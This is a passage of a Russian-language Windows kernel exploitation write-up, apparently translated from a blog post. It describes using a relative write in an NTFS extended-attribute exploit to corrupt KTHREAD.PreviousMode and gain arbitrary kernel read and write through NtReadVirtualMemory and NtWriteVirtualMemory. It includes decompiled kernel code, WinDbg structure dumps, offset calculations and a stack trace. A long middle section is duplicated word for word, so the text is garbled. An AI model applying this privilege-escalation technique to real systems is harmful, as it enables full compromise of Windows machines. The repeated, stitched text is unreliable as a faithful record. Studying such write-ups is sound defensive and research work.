Затем мы можем использовать относительную запись, чтобы заменить указатель StateData произвольным местоположением, которое требуется для нашего примитива чтения и записи. Например, смещение в структуре _EPROCESS на основе адреса, полученного от CreatorProcess.
Здесь необходимо соблюдать осторожность, чтобы гарантировать, что новое местоположение StateData указывает на перекрытие с нормальными значениями для значений AllocatedSize, DataSize, предшествующих данным, которые необходимо прочитать или записать.
В этом случае цель состояла в том, чтобы добиться полного произвольного чтения и записи, но без ограничений, связанных с необходимостью найти разумные и надежные значения AllocatedSize и DataSize до памяти, которую также нужно было записать.
Наша общая цель состояла в том, чтобы нацелиться на элемент PreviousMode структуры KTHREAD, а затем использовать API-интерфейсы NtReadVirtualMemory и NtWriteVirtualMemory, чтобы обеспечить более гибкое произвольное чтение и запись.
Это помогает иметь хорошее представление о том, как эта структура памяти ядра используется, чтобы понять, как это работает. В очень упрощенном обзоре часть режима ядра Windows содержит ряд подсистем. Уровень аппаратной абстракции (HAL), исполнительные подсистемы и ядро. _EPROCESS является частью исполнительного уровня, который имеет дело с общей политикой и операциями ОС. Подсистема ядра обрабатывает конкретные детали архитектуры для низкоуровневых операций, а HAL обеспечивает уровень абстракции для устранения различий между аппаратными средствами.
Процессы и потоки представлены как на исполнительном уровне, так и на "уровне" ядра в памяти ядра в виде структур _EPROCESS и _KPROCESS и _ETHREAD и _KTHREAD соответственно.
В документации по PreviousMode говорится: "Когда приложение пользовательского режима вызывает версию Nt или Zw собственной процедуры системных служб, механизм системного вызова перехватывает вызывающий поток в режим ядра. Чтобы указать, что значения параметров были получены в пользовательском режиме, обработчик ловушки для системного вызова устанавливает для поля PreviousMode в объекте потока вызывающего объекта значение UserMode. Собственная процедура системных служб проверяет поле PreviousMode вызывающего потока, чтобы определить, получены ли параметры из источника пользовательского режима".
Глядя на MiReadWriteVirtualMemory, который вызывается из NtWriteVirtualMemory, мы видим, что если PreviousMode не установлен при выполнении потока пользовательского режима, то проверка адреса пропускается, и адреса пространства памяти ядра также могут быть записаны:
C:
__int64 __fastcall MiReadWriteVirtualMemory(
HANDLE Handle,
size_t BaseAddress,
size_t Buffer,
size_t NumberOfBytesToWrite,
__int64 NumberOfBytesWritten,
ACCESS_MASK DesiredAccess)
{
int v7; // er13
__int64 v9; // rsi
struct _KTHREAD *CurrentThread; // r14
KPROCESSOR_MODE PreviousMode; // al
_QWORD *v12; // rbx
__int64 v13; // rcx
NTSTATUS v14; // edi
_KPROCESS *Process; // r10
PVOID v16; // r14
int v17; // er9
int v18; // er8
int v19; // edx
int v20; // ecx
NTSTATUS v21; // eax
int v22; // er10
char v24; // [rsp+40h] [rbp-48h]
__int64 v25; // [rsp+48h] [rbp-40h] BYREF
PVOID Object[2]; // [rsp+50h] [rbp-38h] BYREF
int v27; // [rsp+A0h] [rbp+18h]
v27 = Buffer;
v7 = BaseAddress;
v9 = 0i64;
Object[0] = 0i64;
CurrentThread = KeGetCurrentThread();
PreviousMode = CurrentThread->PreviousMode;
v24 = PreviousMode;
if ( PreviousMode )
{
if ( NumberOfBytesToWrite + BaseAddress < BaseAddress
|| NumberOfBytesToWrite + BaseAddress > 0x7FFFFFFF0000i64
|| Buffer + NumberOfBytesToWrite < Buffer
|| Buffer + NumberOfBytesToWrite > 0x7FFFFFFF0000i64 )
{
return 3221225477i64;
}
v12 = (_QWORD *)NumberOfBytesWritten;
if ( NumberOfBytesWritten )
{
v13 = NumberOfBytesWritten;
if ( (unsigned __int64)NumberOfBytesWritten >= 0x7FFFFFFF0000i64 )
v13 = 0x7FFFFFFF0000i64;
*(_QWORD *)v13 = *(_QWORD *)v13;
}
}
Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.
Итак, как нам определить местонахождение PreviousMode на основе адреса _EPROCESS, полученного из нашего относительного чтения CreatorProcess? В начале структуры _EPROCESS _KPROCESS включен как Pcb.
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
В _KPROCESS у нас есть следующее:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.
Если эксплойт имеет только один поток, то Flink будет указателем на смещение от начала _KTHREAD:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):
Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.
Итак, как нам определить местонахождение PreviousMode на основе адреса _EPROCESS, полученного из нашего относительного чтения CreatorProcess? В начале структуры _EPROCESS _KPROCESS включен как Pcb.
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
В _KPROCESS у нас есть следующее:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.
Если эксплойт имеет только один поток, то Flink будет указателем на смещение от начала _KTHREAD:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):
0: kd> !thread 0xffffd18606a54080
THREAD ffffd18606a54080 Cid 1da0.1da4 Teb: 000000ce177e0000 Win32Thread: 0000000000000000 RUNNING on processor 0
IRP List:
ffffd18608002050: (0006,0430) Flags: 00060004 Mdl: 00000000
Not impersonating
DeviceMap ffffba0cc30c6630
Owning Process ffffd186087b1300 Image: amberzebra.exe
Attached Process N/A Image: N/A
Wait Start TickCount 2344 Ticks: 1 (0:00:00:00.015)
Context Switch Count 149 IdealProcessor: 1
UserTime 00:00:00.000
KernelTime 00:00:00.015
Win32 Start Address 0x00007ff6da2c305c
Stack Init ffffd0096cdc6c90 Current ffffd0096cdc6530
Base ffffd0096cdc7000 Limit ffffd0096cdc1000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd009`6cdc62a8 fffff805`5a99bc7a : 00000000`00000000 00000000`000000d0 00000000`00000000 ffffba0c`00000000 : Ntfs!NtfsQueryEaUserEaList
ffffd009`6cdc62b0 fffff805`5a9fc8a6 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002300 ffffd186`06a54000 : Ntfs!NtfsCommonQueryEa+0x22a
ffffd009`6cdc6410 fffff805`5a9fc600 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002050 ffffd009`6cdc7000 : Ntfs!NtfsFsdDispatchSwitch+0x286
ffffd009`6cdc6540 fffff805`570d1f35 : ffffd009`6cdc68b0 fffff805`54704b46 ffffd009`6cdc7000 ffffd009`6cdc1000 : Ntfs!NtfsFsdDispatchWait+0x40
ffffd009`6cdc67e0 fffff805`54706ccf : ffffd186`02802940 ffffd186`00000030 00000000`00000000 00000000`00000000 : nt!IofCallDriver+0x55
ffffd009`6cdc6820 fffff805`547048d3 : ffffd009`6cdc68b0 00000000`00000000 00000000`00000001 ffffd186`03074bc0 : FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28f
ffffd009`6cdc6890 fffff805`570d1f35 : ffffd186`08002050 00000000`000000c0 00000000`000000c8 00000000`000000a4 : FLTMGR!FltpDispatch+0xa3
ffffd009`6cdc68f0 fffff805`574a6fb8 : ffffd186`08002050 00000000`00000000 00000000`00000000 fffff805`577b2094 : nt!IofCallDriver+0x55
ffffd009`6cdc6930 fffff805`57455834 : 000000ce`00000000 ffffd009`6cdc6b80 ffffd186`084eb7b0 ffffd009`6cdc6b80 : nt!IopSynchronousServiceTail+0x1a8
ffffd009`6cdc69d0 fffff805`572058b5 : ffffd186`06a54080 000000ce`178fdae8 000000ce`178feba0 00000000`000000a3 : nt!NtQueryEaFile+0x484
ffffd009`6cdc6a90 00007fff`0bfae654 : 00007ff6`da2c14dd 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd009`6cdc6b00)
000000ce`178fdac8 00007ff6`da2c14dd : 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba : ntdll!NtQueryEaFile+0x14
000000ce`178fdad0 00007ff6`da2c4490 : 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 : 0x00007ff6`da2c14dd
000000ce`178fdad8 00000000`000000a3 : 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 : 0x00007ff6`da2c4490
000000ce`178fdae0 000000ce`178fbee8 : 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 000000ce`00000017 : 0xa3
000000ce`178fdae8 0000026e`edf509ba : 00000000`00000000 000000ce`178fdba0 000000ce`00000017 00000000`00000000 : 0x000000ce`178fbee8
000000ce`178fdaf0 00000000`00000000 : 000000ce`178fdba0 000000ce`00000017 00000000`00000000 0000026e`00000001 : 0x0000026e`edf509ba
Итак, теперь мы знаем, как вычислить адрес структуры данных ядра _KTHREAD, связанной с нашим запущенным потоком эксплойта.
В конце этапа 2 у нас есть следующая структура памяти: